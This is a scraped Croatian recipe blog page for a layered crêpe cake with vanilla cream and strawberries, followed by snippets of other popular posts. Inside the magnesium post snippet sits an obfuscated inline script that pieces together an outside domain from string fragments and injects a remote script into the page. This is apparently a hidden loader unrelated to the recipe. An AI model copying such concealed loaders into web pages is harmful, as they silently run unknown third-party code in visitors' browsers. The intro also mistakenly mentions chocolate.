TORTA OD PALAČINKI S KREMOM OD VANILIJE I JAGODA 🍓 🍰





Torta od palačinki s kremom od vanilije i jagoda 



Postoje deserti koji nas vraćaju u djetinjstvo, i postoje oni koji na prvi pogled izgledaju kao da su stigli ravno iz vitrine fine slastičarnice. A najljepše je kad uspijemo spojiti oboje. Torta od palačinki s kremom od vanilije i čokoladom upravo je takva – poznata, jednostavna i topla, ali servirana na način koji djeluje elegantno i pomalo luksuzno.


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Torta od palačinki s kremom od vanilije i jagoda 


Sastojci:

Za palačinke:

  • 500 g mlijeka
  • 160 g glatkog brašna
  • 50 g šećera
  • 6 jaja (veličina M/L)
  • 1/3 žličice soli
  • 30 g biljnog ulja

Za kremu:

  • 500 g vrhnja za šlag (33% m.m.)
  • 550 g svježeg sira (cottage ili kremasti svježi sir)
  • 100 g šećera u prahu
  • vanilija po ukusu

Dodatno:

  • 200 g svježih jagoda

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>

Priprema:

Priprema palačinki
Pomiješajte sve sastojke za palačinke (osim ulja) – najbolje uz pomoć blendera kako biste dobili potpuno glatku smjesu. Na kraju umiješajte biljno ulje.

Zagrijte tavu i lagano je nauljite. Ulijte dio smjese i pecite palačinke s obje strane dok ne poprime laganu zlatnu boju. Ako imate dobru neprianjajuću tavu, ostatak palačinki možete peći bez dodatnog ulja.

Od ove količine dobit ćete oko 16 palačinki – za tortu je dovoljno 12 (ovisno o željenoj visini).

Priprema kreme
Hladno vrhnje za šlag umutite do polučvrste teksture (ne do kraja). Dodajte svježi sir, šećer u prahu i vaniliju, pa sve zajedno izmiksajte dok ne dobijete glatku, kremastu smjesu.

Slaganje torte
Na tanjur stavite prvu palačinku, premažite slojem kreme pa poklopite drugom palačinkom. Ponavljajte postupak dok ne potrošite sastojke. Između slojeva možete dodati sitno nasjeckane jagode ili ih rasporediti po vrhu.

Prije posluživanja, neka torta odstoji u hladnjaku najmanje 2 sata prije rezanja kako bi se lijepo stisnula i povezala.

<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"

     crossorigin="anonymous"></script>


Torta od palačinki s kremom od vanilije i jagoda


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

LINZER PITA

Slika
Linzer pita  Slažemo se - blagdanski stol kao da nije potpun bez linzera. Ti prhki, nježno aromatični keksići jedni su od najstarijih europskih slastica koje su se zahvaljujući svojoj jednostavnosti i savršenom spoju prhkog tijesta i voćnog pekmeza održale sve do danas. Linzer pita  Sastojci: za tijesto: 350 g glatkog brašna 250 g maslaca 100 g šećera 2 vanilin šećera 1 jaje dodatno: pekmez ili marmelada (mi smo koristili pekmez od brusnice) šećer u prahu Priprema: Pobrinite se da su vam svi sastojci hladni, po mogućnosti i brašno. Od brašna, maslaca, šećera i jaja ručno umijesite tijesto. Podijelite ga u dva dijela. Zamotajte ga u prozirnu foliju i pustite da se jedan sat hladi u hladnjaku. Nakon toga razvaljate oba dijela u kvadratni oblik. Prvi dio prebacite u pleh, površinu bockajte vilicom. Preko cijelog donjeg dijela obilno stavite pekmez. Drugi dio tijesta izrežite na trake i dijagonalno složite preko pekmeza. Pecite oko 25 minuta u pećnici zagrijanoj na 180...
Pročitajte više